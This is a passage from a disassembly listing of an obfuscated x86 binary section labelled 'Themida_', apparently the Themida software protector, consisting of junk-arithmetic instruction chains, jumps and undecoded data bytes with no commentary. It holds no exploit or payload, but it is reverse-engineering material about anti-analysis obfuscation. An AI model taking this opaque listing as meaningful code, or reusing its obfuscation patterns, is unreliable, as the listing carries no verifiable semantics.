; ---------------------------------------------------------------------------

loc_54AFDE:				; CODE XREF: Themida_:00549A79j
		shl	esi, 1
		neg	esi
		jmp	loc_54FAB5
; ---------------------------------------------------------------------------
		db 5
		dd 3C7F1765h, 2E7E9h, 2434FF00h, 4EC815Fh, 89000000h, 0E2892414h
		dd 4C281h, 34E90000h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B00B:				; CODE XREF: Themida_:0054DCADj
		xor	edx, 0EE31BB7h
		push	esi
		mov	esi, 0
		sub	esi, 2C4D6CAAh
		push	ecx
		mov	ecx, 4BC70BCBh
		neg	ecx
		xor	ecx, 71E60652h
		push	esi
		jmp	loc_548099
; ---------------------------------------------------------------------------
aZsb		db '┤И│их',0
		db 60h
		dd 0AC7EE91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B03E:				; CODE XREF: Themida_:00546E74j
		mov	[esp], edx
		mov	edx, 40A138A1h
		shl	edx, 7
		jmp	loc_544013
; ---------------------------------------------------------------------------
word_54B04E	dw 1CF6h		; DATA XREF: Themida_:005431D4o
		dd 44E99C24h, 83FFFF82h, 0C8904ECh, 18A3E924h, 0FF5B0000h
		dd 0C8B2434h, 0E1895124h, 0FF886CE9h, 2AE95FFFh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546C27
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 71FDEF81h, 0FE016FDEh, 2434875Fh, 6624248Bh,	9C240431h
		dd 0FF81FAE9h, 4C481FFh, 8F000000h, 248B2404h, 2424D324h
		dd 81E5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B0B6:				; CODE XREF: Themida_:00545A6Ej
		push	dword ptr [esp]
		jmp	loc_54D2CB
; ---------------------------------------------------------------------------

loc_54B0BE:				; CODE XREF: Themida_:005490DBj
		push	800h
		jmp	loc_558353
; ---------------------------------------------------------------------------

loc_54B0C8:				; CODE XREF: Themida_:0054D266j
		xor	dword ptr [esp], 30200465h
		jmp	loc_54DBF8
; ---------------------------------------------------------------------------
dword_54B0D4	dd 640FE9ACh		; DATA XREF: Themida_:00543134o
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B0DA:				; CODE XREF: Themida_:0054A3B8j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_551245
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0E9550000h, 0CF72h, 4240481h, 8B000000h
		dd 0C481243Ch, 4, 8904EC83h, 68BA2414h,	0E973B257h, 3797h
		dd 8904EC83h, 0E2892414h, 44ACB951h, 89E92CD4h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B133:				; CODE XREF: Themida_:00557DB8j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5558E7
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0C704C483h, 60363042h, 6A3109E9h, 242C8B30h,	0FFA6BEE9h
		dd 100768FFh, 24E90000h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B163:				; CODE XREF: Themida_:00553D14j
		not	dword ptr [esp]
		pop	esi
		push	eax
		push	esi
		pop	eax
		pop	esi
		neg	eax
		push	0B10h
		mov	[esp], esi
		jmp	loc_54C4F1
; ---------------------------------------------------------------------------

loc_54B17A:				; CODE XREF: Themida_:00550FD7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_55229C
		push	ebx
		push	20h
		jmp	loc_54643C
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DDh
		dd 5B5C2924h, 0C681C629h, 7A657CA0h, 5EF50158h,	8704C583h
		dd 248B242Ch, 4A30F24h,	0CCE99C24h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B1CF:				; CODE XREF: Themida_:0054C710j
		shr	ecx, 7
		push	354h
		jmp	loc_54F03F
; ---------------------------------------------------------------------------
		dd 33240431h, 248B2404h, 24043124h, 80ADE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B1EE:				; CODE XREF: Themida_:00557CECj
		mov	al, 43h
		mov	dl, al
		jmp	loc_556B57
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB3201F2h, 8BD601C2h, 0C4812414h, 4, 0FAC3C681h, 0F101EFA3h
		dd 0CC79E9h, 4EC8300h, 0E9243C89h, 0FFFFCB22h, 42474FFh
		dd 24048F58h, 4EC835Ch,	0BB241C89h, 1E4D30BAh, 3EBC143h
		dd 86D7E9h, 4CBC6800h, 2C890000h, 0E9E58924h, 0FFFFD230h
		dd 4C481h, 3E90000h
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B257:				; CODE XREF: Themida_:00550030j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_553399
; ---------------------------------------------------------------------------

loc_54B26C:				; CODE XREF: Themida_:00546A86j
		add	edx, edi
		add	edx, 25FD102Fh
		pop	edi
		push	ebp
		push	ebx
		push	42EA38BEh
		pop	ebx
		xor	ebx, 6C6A0CFCh
		add	ebx, 7E1E0951h
		neg	ebx
		jmp	loc_54EFD4
; ---------------------------------------------------------------------------
		dd 815DEA01h, 261725EAh, 0B3FAE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B29E:				; CODE XREF: Themida_:0054AA31j
		mov	[esp], ebp
		push	ebx
		jmp	loc_5492EF
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 5FC9805Ch, 861EE980h, 66D3F6D9h
		dd 9AD0E950h, 0BD550000h, 1F035A30h, 71857BBBh,	0E9EB2985h
		dd 0FFFFC35Dh, 0A4868h,	241C8900h, 2029A5BBh, 3B7D6870h
		dd 0C890000h, 59C7B924h, 52491783h, 666E50BAh, 0FFD13163h
		dd 835A2434h, 880504C4h, 2951D935h, 35882DC8h, 0E95951D9h
		dd 25E3h
; ---------------------------------------------------------------------------

loc_54B314:				; CODE XREF: Themida_:005472F1j
		or	edx, edi
		pop	edi
		push	edx
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		not	edx
		jmp	loc_552458
; ---------------------------------------------------------------------------
		db 0BFh, 61h, 40h
		dd 842D6901h, 2917E922h, 228405F8h, 3E917E9h, 8B00003Fh
		dd 0C4832404h, 5DD4E904h, 0C5000000h, 59E82858h, 12D46866h
		dd 24148966h, 723868h, 241C8900h, 0C381E389h, 4, 0E904EB83h
		dd 502h
; ---------------------------------------------------------------------------

loc_54B374:				; CODE XREF: Themida_:00556D91j
		shr	ebx, 5
		jmp	loc_543853
; ---------------------------------------------------------------------------

loc_54B37C:				; CODE XREF: Themida_:005441BAj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 0E95A5A04h, 0FFFFF148h, 4C481h, 52E90000h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B3A3:				; CODE XREF: Themida_:005455FEj
		mov	esp, [esp]
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0D8h
		and	ch, 0ACh
		jmp	loc_545F63
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8F74E924h, 4481FFFFh, 3BEF0424h, 0DDE95A9Fh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54B3CF:				; CODE XREF: Themida_:00547241j
		sub	esi, 4
		jmp	loc_5488CF
; ---------------------------------------------------------------------------

loc_54B3DA:				; CODE XREF: Themida_:0054F68Ej
		mov	esi, 7E0432EDh
		xor	esi, edx
		pop	edx
		mov	ebp, esi
		pop	esi
		jmp	loc_556C37
; ---------------------------------------------------------------------------

loc_54B3EA:				; CODE XREF: Themida_:00550D6Aj
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 7FB26A78h
		push	esi
		mov	esi, 244C766Ch
		jmp	loc_548C3D
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 7EF7E9h, 4C48300h, 32A1BA52h, 6C812B6Ah, 64330424h
		dd 54015F7Ah, 44810424h, 64330424h, 3DE95F7Ah, 5800004Eh
		dd 76AC68h, 243C8900h, 0BB53E789h, 19B3A96h, 0C56EC381h
		dd 9AE9FE64h, 80000059h, 0EF8004C6h, 80F72827h,	0F0E927C7h
		dd 89000011h, 6DB22414h, 556968h, 241C8900h, 0E3809CB3h
		dd 0F6D3866Ah, 0C0D386D2h, 0C38005EBh, 8BDA282Ah, 0C481241Ch
		dd 4, 8904EC83h, 31B1240Ch, 6CE95366h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B497:				; CODE XREF: Themida_:0054E320j
		and	esi, 15812D5Ch
		not	esi
		add	esi, 71AB58F8h
		sub	esi, 4FB90790h
		jmp	loc_54C49A
; ---------------------------------------------------------------------------

loc_54B4B0:				; CODE XREF: Themida_:00545B33j
		xor	cl, 2
		sub	bl, cl
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 2AA4734Ch
		push	ebx
		push	6F6726CAh
		pop	ebx
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	edx, 8
		and	edx, 7492A5Ah
		jmp	loc_550F61
; ---------------------------------------------------------------------------

loc_54B4E5:				; CODE XREF: Themida_:0054FB55j
		push	edx
		mov	edx, 7EF4321Fh
		add	edx, 0FFFFFFFFh
		xor	edx, 7EF4321Fh
		jmp	loc_547373
; ---------------------------------------------------------------------------
		dd 8B1C7721h, 0C4812434h, 4, 0FF7D8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54B50D:				; CODE XREF: Themida_:0055301Fj
		mov	ecx, 2BDA7190h
		jmp	loc_546104
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048F54h, 4BF57h, 44810000h, 62B00424h, 7C012CB0h
		dd 6C810424h, 62B00424h, 595F2CB0h, 4C181h, 0EC810000h
		dd 4, 0BE243489h, 4, 96F8E9h, 9DC38100h, 1F379E4h, 0BA525BD8h
		dd 2, 32640305h, 2DD00155h, 55326403h, 6190685Ah, 4890000h
		dd 2474FF24h, 24048B04h, 8DE1E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B582:				; CODE XREF: Themida_:00556856j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54AE5C
; ---------------------------------------------------------------------------
		dw 0B9B9h
		dd 8165670Dh, 0DC18C3F1h, 0CC98138h, 81365A64h,	1A61E4C1h
		dd 6CE18165h, 0E974915Bh, 53C0h, 4EC81h, 24890000h, 0E9525024h
		dd 0FFFFAA90h, 8B243C87h, 0C80F2424h, 0FFCB5CE9h, 7F5868FFh
		dd 0B3E90000h, 8300007Dh, 524904C4h, 686090BAh,	93EA8154h
		dd 810E0332h, 0AB7136CAh, 5F28104h, 8101CF44h, 879FDEC2h
		dd 5E1E924h, 0FD010000h, 0CCBF5753h, 0F75A056Dh, 5E7C1D7h
		dd 8CBA524Fh, 0E92D1B78h, 0FFFFC7A0h
; ---------------------------------------------------------------------------

loc_54B618:				; CODE XREF: Themida_:00554AC4j
		xor	edx, esi
		jmp	loc_54D21E
; ---------------------------------------------------------------------------

loc_54B61F:				; CODE XREF: Themida_:005582CFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5552D4
; ---------------------------------------------------------------------------
		db 1
		dd 58EE81C6h, 0E95EDA48h, 0FFFFD4BAh, 7FDE981h,	0CD011251h
		dd 3C156859h, 3C890000h, 2BF24h, 0B9510000h, 8F45C9Ah
		dd 0AC4AE953h, 0C281FFFFh, 71AB65BEh, 0E956D2F7h, 0FFFFD88Bh
		dd 0FF7C2EE9h, 4C681FFh, 0E9000000h, 577Eh, 0E9241C8Bh
		dd 0FFFFB18Ch
dword_54B680	dd 24048B66h, 0C29BE9h	; DATA XREF: Themida_:00542FF0o
		db 0
; ---------------------------------------------------------------------------

loc_54B689:				; CODE XREF: Themida_:0054770Aj
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_54E89E
; ---------------------------------------------------------------------------

loc_54B692:				; CODE XREF: Themida_:0055835Cj
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_546848
; ---------------------------------------------------------------------------

loc_54B6A0:				; CODE XREF: Themida_:005521C3j
		mov	edx, 70257473h
		shl	edx, 4
		add	edx, 4D006110h
		or	edx, 4F576DCFh
		shr	edx, 2
		jmp	loc_54BC8D
; ---------------------------------------------------------------------------

loc_54B6BC:				; CODE XREF: Themida_:005549FBj
		mov	ecx, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_544874
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546D34
; ---------------------------------------------------------------------------

loc_54B6F5:				; CODE XREF: Themida_:0054C3B9j
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1BB316AFh
		xor	edx, 1BB316ABh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5446C4
; ---------------------------------------------------------------------------

loc_54B726:				; CODE XREF: Themida_:0055743Aj
		neg	edi
		push	ecx
		push	edi
		pop	ecx
		jmp	loc_544551
; ---------------------------------------------------------------------------

loc_54B730:				; CODE XREF: Themida_:00555E9Cj
		sub	bl, 0B0h
		mov	eax, [esp]
		add	esp, 4
		and	al, bl
		pop	bx
		jmp	loc_55564A
; ---------------------------------------------------------------------------

loc_54B745:				; CODE XREF: Themida_:00557EB0j
		push	edx
		mov	edx, 71FA3AC6h
		jmp	loc_555113
; ---------------------------------------------------------------------------

loc_54B750:				; CODE XREF: Themida_:00554426j
		push	edx
		jmp	loc_5503EA
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 0CD8104C4h, 46B5000Ch, 25C3B951h, 0C181096Ah, 2BB1F0ACh
		dd 0E959CD09h, 8B3Eh
; ---------------------------------------------------------------------------

loc_54B774:				; CODE XREF: Themida_:00553185j
		pop	ebx
		push	0
		sub	[esp], dl
		mov	dl, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55666C
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 11E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B791:				; CODE XREF: Themida_:00547B02j
		dec	ebp
		push	ebx
		jmp	loc_544AA6
; ---------------------------------------------------------------------------
		dd 6DC7815Eh, 8151E215h, 72065DEFh, 0E9F82931h,	6618h
; ---------------------------------------------------------------------------

loc_54B7AC:				; CODE XREF: Themida_:00554063j
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_5493A0
; ---------------------------------------------------------------------------
		dw 77B3h
		dd 8008E3C0h, 0CBFEB6F3h, 2DE9D3F6h, 68FFFFB7h,	5B0Dh
		dd 0E9241C89h, 0B3C9h, 0C57CE2BDh, 40E95001h, 89000097h
		dd 0F6E95AD0h, 8BFFFF95h, 0C483240Ch, 4EC8104h,	89000000h
		dd 0E789243Ch, 4C781h, 0C7830000h, 0BD68E904h, 814EFFFFh
		dd 0D92217CEh, 0A9C68111h, 810A080Dh, 0F7F6DCC6h, 0E9F201C3h
		dd 1ACBh
; ---------------------------------------------------------------------------

loc_54B828:				; CODE XREF: Themida_:0054C165j
		add	ecx, eax
		jmp	loc_545053
; ---------------------------------------------------------------------------
		db 83h
		dd 545504C4h, 1D64E9h, 81D30100h, 0A8457BC3h, 0A55EE913h
		dd 78BD0000h, 0F7749016h, 9FE952D5h, 81000022h,	0A95374E6h
		dd 1EBF5771h, 0C12B5B40h, 814F07EFh, 0F4717FC7h, 561E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B86E:				; CODE XREF: Themida_:0054C73Cj
		sub	eax, edx
		push	esi
		jmp	loc_558259
; ---------------------------------------------------------------------------
		dw 1C87h
aS9		db '$И╫9',0
		align 2
		dw 8153h
		dd 4ECh, 24248900h, 630EE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B88E:				; CODE XREF: Themida_:00545B00j
		add	ebx, 71A8702Dh
		jmp	loc_5515DA
; ---------------------------------------------------------------------------
		db 59h,	31h, 0C2h
		dd 8124048Bh, 4C4h, 78B85000h, 0C160531Dh, 0D0F704E8h
		dd 3D64C40Dh, 7C054048h, 315BEA4Dh, 24048BC2h, 5104C483h
		dd 0CD05DBB9h, 9243E94Fh, 0E952FFFFh, 99DEh
dword_54B8D4	dd 24248B66h, 0FF79BEE9h, 241C33FFh, 0E9241C31h, 0FFFFBBA0h
					; DATA XREF: Themida_:00543110o
		dd 54240C89h, 83240C8Bh, 0E95204C4h, 1802h, 982DBFB9h
		dd 0FFCE295Bh, 83592434h, 0EEC104C4h, 4DF68108h, 0E90DDE69h
		dd 2FA9h, 8B241C87h, 0CD32424h,	78E99C24h, 5FFFFF79h, 7435E9h
		dd 4C48100h, 0FF000000h, 2C8B2434h, 0E1895124h,	4C181h
		dd 0BF570000h, 1AF765BFh, 7074BA52h, 0EAC13E33h, 9AF28106h
		dd 0E928FB58h, 4040h
; ---------------------------------------------------------------------------

loc_54B958:				; CODE XREF: Themida_:0055381Cj
		push	6B9Dh
		mov	[esp], eax
		jmp	loc_54C0B0
; ---------------------------------------------------------------------------
aShtl		db 'ShБl',0
		dw 8900h
		dd 0F8E9242Ch, 1FFFFE8h, 0B64BE9DEh, 0C890000h,	0E9595424h
		dd 7D07h, 7AE19DBEh, 0E9CE2967h, 0FFFFB120h, 815AD101h
		dd 4C1h, 240C8700h, 37E7E9h, 0E9515100h, 0FFFFE160h, 24148B66h
		dd 148B5452h, 4C48324h,	4C281h,	0EA810000h, 4, 31241433h
		dd 14332414h, 24248B24h, 89240489h, 0DDE5E9E0h
		db 2 dup(0FFh)
word_54B9D6	dw 8B66h		; DATA XREF: Themida_:0054317Co
		dd 89522404h, 0A1CDE9E2h, 0CFBD0000h, 81109D5Bh, 0D203DFF5h
		dd 5DE8292Ch, 3F5E5B2Dh, 27ED2D4Ah, 3057C41h, 2D05BF1Bh
		dd 31902C29h, 2905D829h, 2D31902Ch, 5BF1B03h, 0FF7DF4E9h
		dd 24048FFFh, 6624248Bh, 0E9240489h, 0FFFF7877h
; ---------------------------------------------------------------------------

loc_54BA24:				; CODE XREF: Themida_:0055361Fj
		xchg	ebp, [esp]
		jmp	loc_55385A
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481241Ch, 4, 51E08950h,	2128B0B9h, 56D1F746h
		dd 650211BEh, 0F6814E48h, 68630D23h, 5846EE81h,	683BF7h
		dd 29000000h, 815E2434h, 88458CCEh, 9AEE8121h, 1DEF43Fh
		dd 0C1815EF1h, 52696899h, 4DE9F181h, 0C801694Dh, 0FFBB8FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BA81:				; CODE XREF: Themida_:0054D954j
		inc	eax
		add	eax, 41D82AD4h
		sub	eax, 5A314F1Ch
		mov	edi, eax
		pop	eax
		push	edi
		pop	esi
		pop	edi
		push	edx
		push	ebx
		mov	ebx, 49321E8Eh
		jmp	loc_554CA7
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 84E92404h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BAA7:				; CODE XREF: Themida_:005438C4j
		push	edx
		push	eax
		mov	eax, 65297FBDh
		mov	edx, 4A20020Fh
		xor	edx, eax
		jmp	loc_555644
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 81242489h, 42404h, 1EE90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BACF:				; CODE XREF: Themida_:00550260j
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5471D3
; ---------------------------------------------------------------------------
		db 66h
		dd 3025B551h, 815966EFh, 4ECh, 85F8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BB02:				; CODE XREF: Themida_:0054E965j
		add	esp, 4
		dec	ebx
		neg	ebx
		push	0E3Dh
		jmp	loc_550659
; ---------------------------------------------------------------------------

loc_54BB15:				; CODE XREF: Themida_:00553CA6j
		xor	edx, 54F02787h
		and	esi, edx
		pop	edx
		push	esi
		not	dword ptr [esp]
		jmp	loc_5490C2
; ---------------------------------------------------------------------------

loc_54BB27:				; CODE XREF: Themida_:00554C1Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54BE59
; ---------------------------------------------------------------------------
		dw 0BBBh
		dd 1666F6Ah, 5AE95BDFh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BB43:				; CODE XREF: Themida_:00551DB0j
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_547BDB
; ---------------------------------------------------------------------------

loc_54BB4E:				; CODE XREF: Themida_:00551669j
		mov	[esp], eax
		mov	eax, 327B1929h
		neg	eax
		neg	eax
		sub	eax, 144B15B7h
		sub	esi, eax
		pop	eax
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_54EA10
; ---------------------------------------------------------------------------
		dd 99E9615Ch, 81FFFFEBh, 4C1h, 4E98300h, 5C240C87h, 0B2241489h
		dd 9DC280C2h, 0E907EAC0h, 5059h, 875FFA01h, 248B2414h
		dd 64685224h, 89000059h, 4812424h, 424h, 0EC815A00h, 4
		dd 0B8240489h, 242B1CEDh, 0FF909DE9h, 240C89FFh, 47A9BB9h
		dd 2444813Bh, 9D20A808h, 244C017Ch, 246C8108h, 9D20A808h
		dd 90E9597Ch, 1000062h,	24148BD1h, 4C481h, 0C8310000h
		dd 5152E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BBF1:				; CODE XREF: Themida_:00556AB4j
		inc	ecx
		push	edx
		mov	edx, 44DD62CDh
		and	ecx, edx
		pop	edx
		xor	ecx, 84202h
		jmp	loc_555EAC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BD48804h, 0C4832414h, 53C4FE04h, 0C053B252h, 0CA8004EAh
		dd 0FEC2FE13h, 32CA80C2h, 88F7F280h, 0EBC05AD3h, 362AE906h
		dd 0ED810000h, 0B6090AACh, 89EF8957h, 0A0E95FFAh, 81FFFF7Ch
		dd 0BEE7C2F2h, 5AD50195h, 8704ED83h, 248B242Ch,	24148924h
		dd 0FFA372E9h, 247401FFh, 24448104h, 604AF404h,	2CE95E05h
		dd 66FFFF76h, 66243C89h, 22474FFh, 0AA38E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BC7D:				; CODE XREF: Themida_:00548590j
		not	ebp
		and	ebp, 7C04438Eh
		shr	ebp, 8
		jmp	loc_55517C
; ---------------------------------------------------------------------------

loc_54BC8D:				; CODE XREF: Themida_:0054B6B7j
		push	edi
		mov	edi, 0AB16E90h
		add	edx, edi
		jmp	loc_5525E2
; ---------------------------------------------------------------------------

loc_54BC9A:				; CODE XREF: Themida_:0054EF23j
		push	0E7D79E6h
		pop	ecx
		neg	ecx
		xor	ecx, 0FB92C63Eh
		mov	esi, ecx
		pop	ecx
		mov	ebx, 0ECC241Bh
		jmp	loc_555A0F
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 2F9D6857h, 815F2A50h, 502F99F7h, 5FFD892Ah, 2C8BE901h
		dd 4C48124h, 55000000h,	4BDh, 5DE92900h, 736568h, 240C8900h
		dd 42474FFh, 9B34E959h,	0D9F70000h, 83C8C181h, 3AE98EEFh
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BCFB:				; CODE XREF: Themida_:0054EFB1j
		pop	esi
		push	ecx
		mov	ecx, 5B711943h
		push	104Dh
		jmp	loc_555A48
; ---------------------------------------------------------------------------
		dd 3B16BB53h, 0D82960ADh, 57241C8Bh, 0C781E789h, 4, 0E904C783h
		dd 0FFFFE9F9h
dword_54BD28	dd 68D831ADh, 4FCh, 0E9241C89h,	64C9h ;	DATA XREF: Themida_:00543150o
; ---------------------------------------------------------------------------

loc_54BD38:				; CODE XREF: Themida_:00548A8Dj
		push	edi
		jmp	loc_54C15B
; ---------------------------------------------------------------------------

loc_54BD3E:				; CODE XREF: Themida_:005480DDj
		add	ecx, ebp
		pop	ebp
		shr	ecx, 8
		push	ebp
		jmp	loc_554809
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4C58300h, 31242C33h, 2C33242Ch, 0EC835C24h, 24148904h
		dd 24148B54h, 0A404E9h,	5BD90100h, 0C8BC801h, 4C48324h
		dd 8B70E953h, 0E9290000h, 4B95E981h, 2C8B79F2h,	9AE95724h
		dd 81FFFFABh, 42404h, 0A8E90000h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BD9B:				; CODE XREF: Themida_:005442DBj
		mov	ecx, 0AA37510h
		sub	ebx, ecx
		pop	ecx
		or	ebx, 0DE12F17h
		shl	ebx, 3
		xor	ebx, 560D821Fh
		or	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5470D5
; ---------------------------------------------------------------------------

loc_54BDBC:				; CODE XREF: Themida_:005470E9j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_543D07
; ---------------------------------------------------------------------------
		db 83h
		dd 0E1E904C4h, 10000A5h, 0FB4DE9FEh, 0BF57FFFFh, 617631C2h
		dd 2D5FF801h, 3DF6AEAh,	7A93BF57h, 0EFC1086Dh, 83EF8103h
		dd 0C1613F63h, 0E78105EFh, 729123Ah, 0F34C781h,	15E92B5Dh
		dd 100006Bh, 0E9505BD8h, 0FFFF807Dh, 42474FFh, 8DA5E95Eh
		dd 814DFFFFh, 4D2738C5h, 81EDD10Dh, 4E5B32EDh, 5DE88916h
		dd 6412E955h, 0E9520000h, 0FFFFE2CCh, 8EBB951h,	79E9531Ch
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE43:				; CODE XREF: Themida_:00552F54j
		pop	eax

loc_54BE44:				; CODE XREF: Themida_:0054D9F8j
		push	ecx
		jmp	loc_552E98
; ---------------------------------------------------------------------------
aQsP		db 'QИ+P',0
		align 10h
		dd 5602C783h, 5149E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BE59:				; CODE XREF: Themida_:0054BB31j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_549B0F
; ---------------------------------------------------------------------------
		db 5
		dd 410D0860h, 0E958C529h, 0FFFF8EEEh, 5C242C87h, 8B24048Fh
		dd 0B0E92424h, 0F70000B2h, 41E940D8h, 5C000035h, 53240489h
		dd 0FF82B8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BE95:				; CODE XREF: Themida_:00552C0Bj
		pop	edi
		jmp	loc_54CB7B
; ---------------------------------------------------------------------------
		db 5
		dd 242F3D3Bh, 0F662B205h, 23330564h, 815F2E75h,	4ECh, 240C8900h
		dd 8904EC83h, 21682434h, 0FF6A3065h, 565E2434h,	0FF78D6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BEC9:				; CODE XREF: Themida_:005478C8j
		add	esp, 4
		jmp	loc_54919A
; ---------------------------------------------------------------------------
		db 1, 0CEh, 0E9h
		dd 0FFFFAD39h, 366CC781h, 0C78103E5h, 46C92E0Fh, 0EF81DF29h
		dd 46C92E0Fh, 366CEF81h, 1C8B03E5h, 4C48124h, 81000000h
		dd 0D58DCCC7h, 8BF831EEh, 6E9243Ch, 81FFFFE0h, 106E73C1h
		dd 241C8B0Fh, 0E9E28952h, 543Fh, 4B8h, 14A0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BF26:				; CODE XREF: Themida_:00554B9Fj
		shr	edx, 3
		or	edx, 4E231064h
		xor	edx, 771956FDh
		or	edx, 6FD95CA9h
		xchg	ebx, edx
		jmp	loc_550CFD
; ---------------------------------------------------------------------------

loc_54BF42:				; CODE XREF: Themida_:005443C2j
		add	esp, 4
		xor	bh, cl
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 44F102EAh
		sub	ebp, 3CBE7491h
		jmp	loc_552C2C
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF998AE9h, 0F7CE87FFh, 53CE87D1h, 216291BBh, 6850E918h
		dd 4810000h, 424h, 0B9515800h, 57414AADh, 6CB4C981h, 0B8505071h
		dd 0A015AFEh, 3504E8C1h, 2FA13D3h, 0D46E9h, 72F5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BFA6:				; CODE XREF: Themida_:0055615Cj
		push	edx
		mov	dh, 6Ch
		jmp	loc_5579D1
; ---------------------------------------------------------------------------

loc_54BFAE:				; CODE XREF: Themida_:00557625j
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_551F02
; ---------------------------------------------------------------------------
		dd 240C8B66h, 47968h, 242C8900h, 0FFBD41E9h
